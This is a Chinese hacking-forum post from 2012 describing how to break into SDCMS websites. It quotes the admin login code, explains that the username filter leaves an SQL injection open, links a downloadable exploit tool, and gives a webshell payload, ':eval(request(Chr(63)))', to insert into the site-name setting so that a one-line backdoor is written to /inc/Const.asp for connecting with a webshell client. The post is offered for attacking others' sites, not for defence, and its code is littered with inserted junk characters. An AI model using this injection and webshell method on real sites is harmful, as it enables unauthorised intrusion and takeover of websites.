找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3380|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
作者:T00LS 鬼哥
) T: @5 v8 g" `7 k  Y漏洞文件:后台目录/index.asp5 _5 D- r5 G; n1 Y2 c8 @

  ]3 ~+ r8 `0 aSub Check
0 Y" I6 T" {' x    Dim username,password,code,getcode,Rs$ u& i8 A$ g+ W+ }+ c4 {+ n/ X# a, U
    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
9 n4 D/ C; B* N. b1 J    username=FilterText(Trim(Request.Form("username")),1)
7 ^2 Q& v4 Y" a7 b2 G  f7 i0 ?! h    password=FilterText(Trim(Request.Form("password")),1)
. ^3 O, t8 Y  e3 k: S6 Y; \! l    code=Trim(Request.Form("yzm"))
/ z+ Z6 U2 `7 o  I% G    getcode=Session("SDCMSCode")
& w! \: s( A9 q; r( J% O    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died" ~5 k1 Y* T2 N8 j1 @& Q& o- W
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied5 Q& v2 W9 O1 V/ n
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
: e- |% I) X  X% D) p/ e) j! A    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied
  `1 p" t! l4 J/ Q4 G( h! `    IF username="" or password="" Then
! N" M: P' \6 F        Echo "用户名或密码不能为空"ied
3 x9 _9 m# J% C    Else/ G6 \: F$ w" P4 \. ?
        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")1 A; n" x' U$ s: D9 p
        IF Rs.Eof Then
3 F6 [  }' n( B$ n7 `0 b3 u            AddLog username,GetIp,"登录失败",1
1 J/ _3 O! e# X/ T% M; I9 `            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
0 p  x! f/ k1 O8 o3 A        Else
- \7 Q9 u4 d* ~4 B3 _            Add_Cookies "sdcms_id",Rs(0)
1 `" ~" i! d3 w2 [! U; R7 Q  @; N# ?            Add_Cookies "sdcms_name",username" b, }: M$ Z$ o* q
            Add_Cookies "sdcms_pwd",Rs(2), x" J7 D( d7 G2 X
            Add_Cookies "sdcms_admin",Rs(3)
4 b& C* }! B1 d) ?2 g            Add_Cookies "sdcms_alllever",Rs(4)
! N2 P8 a! \. k0 X, [8 U/ t            Add_Cookies "sdcms_infolever",Rs(5)  P' ?- s1 }4 c1 g
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")& \( o" C5 @& V- L" _% V$ n3 j9 i
            AddLog username,GetIp,"登录成功",1) h' U) j( R2 z; U
            '自动删除30天前的Log记录% S( p+ A: `% r$ F6 c
            IF Sdcms_DataType Then9 i! e2 T9 y2 d9 W/ N
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")% F) e' o5 |) V3 R. E
            Else
( [" s3 W% q3 @                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
( q8 t! `1 b8 Q$ Q' v            End IF
% j% v; P' }) c            Go("sdcms_index.asp"); t0 ~+ E. P) r( p- \3 B' l6 e! j
        End IF0 E) P( w, ^$ y: X
        Rs.Close- O' g5 {- ^1 R$ D, T5 E2 \' v2 m* \: u
        Set Rs=Nothing) B& I' w* \6 ]- r
    End IF
  H" A. a9 s" O$ f2 s$ k4 eEnd Sub
* i# `! j$ l* Q! f, ]
- s5 _& a) v" I& C’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
% f2 E8 S! \' \7 S8 Y* w; p& @3 _% p4 B6 D6 F
Function FilterText(ByVal t0,ByVal t1)
1 L: F. `0 \: m& K    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function3 D# M" F5 Q4 h1 {
    t0=Trim(t0)
0 u& W$ u, e2 @    Select Case t1
! }. H! ~7 ?6 e: A; h) z        Case "1"$ q8 J! F/ D# o4 t; c5 j5 Q
            t0=Replace(t0,Chr(32),"")
8 A1 Q0 R3 z" S4 _$ C' x            t0=Replace(t0,Chr(13),"")9 Y5 i% U4 p/ ^6 N9 M) i
            t0=Replace(t0,Chr(10)&Chr(10),"")- L1 Q% q1 W/ a1 t; e3 \
            t0=Replace(t0,Chr(10),"")& ^0 F- u( x3 Q: C
        Case "2"
9 v( }. k) T* O( u4 A1 q            t0=Replace(t0,Chr(8),"")'回格
/ c' p2 V5 Q% `8 V            t0=Replace(t0,Chr(9),"")'tab(水平制表符)( o0 n% L' j* n' P0 N4 Z* w' g  N. {
            t0=Replace(t0,Chr(10),"")'换行
- P5 e2 I/ A& |/ j6 w8 Y( c            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)% z3 o2 I, A# E! ~( }4 g" t8 p% G
            t0=Replace(t0,Chr(12),"")'换页6 v2 U6 Y1 N" m" [4 F- I# b
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合; M8 O; f  f4 J- g9 n) |% X
            t0=Replace(t0,Chr(22),""); t+ u; ~- k: R- U
            t0=Replace(t0,Chr(32),"")'空格 SPACE
8 Y- D# Y/ ]6 M% P. H            t0=Replace(t0,Chr(33),"")'!
# k, g. V! t! @4 z' ~. V            t0=Replace(t0,Chr(34),"")'": x6 x  I& ~2 n+ k1 N1 q
            t0=Replace(t0,Chr(35),"")'#- Q8 z, l; r) c6 E& A. j5 }
            t0=Replace(t0,Chr(36),"")'$
) D, S) B/ L+ H- f            t0=Replace(t0,Chr(37),"")'%- u4 X! ^( _/ W2 e2 c! j& q* z* t
            t0=Replace(t0,Chr(38),"")'&
. K( D( [: M( X. l. G            t0=Replace(t0,Chr(39),"")''$ ^  M9 v2 x5 Z8 L! A# W' R4 L
            t0=Replace(t0,Chr(40),"")'(3 u7 @/ D2 r$ y3 A) J
            t0=Replace(t0,Chr(41),"")')
! H' r' g" P6 i& n( Y( Z            t0=Replace(t0,Chr(42),"")'*
1 X# x8 z- {4 ?) h            t0=Replace(t0,Chr(43),"")'+/ h! A. e4 R$ Y9 r* v
            t0=Replace(t0,Chr(44),"")',6 P) V- m- U% q4 d2 _
            t0=Replace(t0,Chr(45),"")'-/ [4 Z0 \; ^" j/ f& i4 D7 {
            t0=Replace(t0,Chr(46),"")'.
) \2 T: s$ z- u9 a% b            t0=Replace(t0,Chr(47),"")'/
' h5 q7 F+ p6 L! \1 W            t0=Replace(t0,Chr(58),"")':0 e+ H2 g5 R0 T! k/ ]- ]3 \7 z) O
            t0=Replace(t0,Chr(59),"")';7 K, W0 J/ \& O6 v2 @
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
# O  T, B0 [: |7 ?            t0=Replace(t0,Chr(63),"")'?
/ _2 M& s1 B, [* o; z1 g            t0=Replace(t0,Chr(64),"")'@
/ R$ b; c- y4 P% \            t0=Replace(t0,Chr(91),"")'\
# F4 F7 q7 F/ b" P/ V            t0=Replace(t0,Chr(92),"")'\
% ~; E3 E5 [# |4 q2 \( P* p            t0=Replace(t0,Chr(93),"")']5 g) Q$ a9 G$ b; ]+ w- B
            t0=Replace(t0,Chr(94),"")'^9 a4 t  D5 w( p8 _
            t0=Replace(t0,Chr(95),"")'_9 k1 Y' f  z2 O
            t0=Replace(t0,Chr(96),"")'`3 I# |: @+ }' n- M# ^3 O9 _
            t0=Replace(t0,Chr(123),"")'{! g! }1 x. b% T! s" C
            t0=Replace(t0,Chr(124),"")'|5 O! z/ [) f4 U& ]. f
            t0=Replace(t0,Chr(125),"")'}
; ^7 ]7 w4 C: p& e( J: T6 _; q            t0=Replace(t0,Chr(126),"")'~0 E/ |3 L1 T! [' Y. U
    Case Else
; {7 G1 L9 \& I% n        t0=Replace(t0, "&", "&")2 P: D# X+ \: ?. e" R4 A
        t0=Replace(t0, "'", "'")  Q) D1 g) `* x- g: D
        t0=Replace(t0, """", """)7 R0 z7 Q* A" p  O7 J' J
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
2 p+ i! F5 N* q7 H' U    End Select3 y( b8 N- u1 x. A! w
    IF Instr(Lcase(t0),"expression")>0 Then
+ B; h- v+ O9 V3 Q! o+ a# R        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
" P5 q$ e1 Q  r' Y0 a, V    End If5 @$ o$ \% P0 k  h
    FilterText=t0! _) O, Z% ^: s7 V& t( r$ g/ `
End Function. @4 v$ ?+ R1 E/ F

! S5 X1 f6 e: C9 J' _看到没。直接参数是1 只过滤
7 W8 q+ N: d  K6 @8 X8 k                        t0=Replace(t0,Chr(32)," ")
' a; N7 z  O5 F+ n' `                        t0=Replace(t0,Chr(13),"")
1 A  n2 W  A5 i7 f6 [9 h' m                        t0=Replace(t0,Chr(10)&Chr(10),"
2 c! c& a$ T; y% c5 r6 ]. ~  T/ t")
4 R# z7 `7 {3 |4 H                        t0=Replace(t0,Chr(10),"/ s5 Z' K1 F5 W# t1 f
")
8 g' U. T& f4 f. F  r7 U, H漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!8 k% h5 U# z  B
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP8 V; j& ^$ z; Q' h1 G
3 g7 r$ _* w3 N  b( c; w
测试:
% m4 _3 ], O8 ]6 H# l
1 c$ d) j) B; r! A0 j9 Z: a8 s( f; k7 m% ^4 q
现在输入工具上验证码,然后点OK: S  v( A, b! g: V- M0 H- V

0 _0 b, E8 c. e; B1 t1 F- r# W( ?* M7 [6 d6 K$ M% D& I2 o
看到我们直接进入后台管理界面了,呵呵!1 i! ]  N2 }/ g' ?; U4 a

" l, S1 k5 \0 S, S0 F& @
* K7 q3 M' `5 H8 x: L; S$ P6 n6 X4 A% U7 p, H3 \( m
这样直接进入后台了。。。。
/ g7 I/ `, T3 @) R
$ t# E3 B1 a3 Q 7 U. ^2 X2 X' n2 Q6 _( c

$ a$ J; C" T& l) W! y: R: {% a& r  jSDCMS提权:
9 w9 y% X) z- L* O1 @/ x6 Q$ F5 b
8 A+ Z1 U% G3 ?; {  D方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
- G* A4 l" m& O$ N4 [1 p/ \: S: a) I( s0 \, G7 ?0 g% a+ X+ @

9 X! X  b5 j5 u% e- d8 ^& y- ~2 W% ~4 s) g8 V( s9 d# k1 @# Q! r) ?4 {
OK,现在用菜刀连接下!( ^6 _, y3 e& U" ]! C
4 ^/ a. F( F; J

- _6 M; G& Q+ ^# V3 A0 ], Q2 w1 g% n- J, d5 ?- q6 Y
5 I8 N( w0 c: U- ]: ^  E3 m

5 M: v( {: V& e6 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表